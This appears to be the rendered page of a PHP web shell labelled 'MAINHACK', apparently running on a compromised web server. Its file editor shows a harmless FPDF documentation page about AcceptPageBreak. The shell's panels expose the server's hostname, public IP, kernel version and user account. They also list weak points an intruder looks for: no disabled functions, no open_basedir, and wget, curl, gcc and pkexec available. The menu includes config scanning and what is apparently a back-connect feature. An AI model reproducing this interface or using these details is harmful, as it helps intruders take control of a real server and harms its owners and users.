[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: acceptpagebreak.htm
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>AcceptPageBreak</title> <link type="text/css" rel="stylesheet" href="../fpdf.css"> </head> <body> <h1>AcceptPageBreak</h1> <code><b>boolean</b> AcceptPageBreak()</code> <h2>Description</h2> Whenever a page break condition is met, the method is called, and the break is issued or not depending on the returned value. The default implementation returns a value according to the mode selected by SetAutoPageBreak(). <br> This method is called automatically and should not be called directly by the application. <h2>Example</h2> The method is overriden in an inherited class in order to obtain a 3 column layout: <div class="doc-source"> <pre><code>class PDF extends FPDF { protected $col = 0; function SetCol($col) { // Move position to a column $this->col = $col; $x = 10 + $col*65; $this->SetLeftMargin($x); $this->SetX($x); } function AcceptPageBreak() { if($this->col<2) { // Go to next column $this->SetCol($this->col+1); $this->SetY(10); return false; } else { // Go back to first column and issue page break $this->SetCol(0); return true; } } } $pdf = new PDF(); $pdf->AddPage(); $pdf->SetFont('Arial', '', 12); for($i=1;$i<=300;$i++) $pdf->Cell(0, 5, "Line $i", 0, 1); $pdf->Output();</code></pre> </div> <h2>See also</h2> <a href="setautopagebreak.htm">SetAutoPageBreak</a> <hr style="margin-top:1.5em"> <div style="text-align:center"><a href="index.htm">Index</a></div> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.91 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002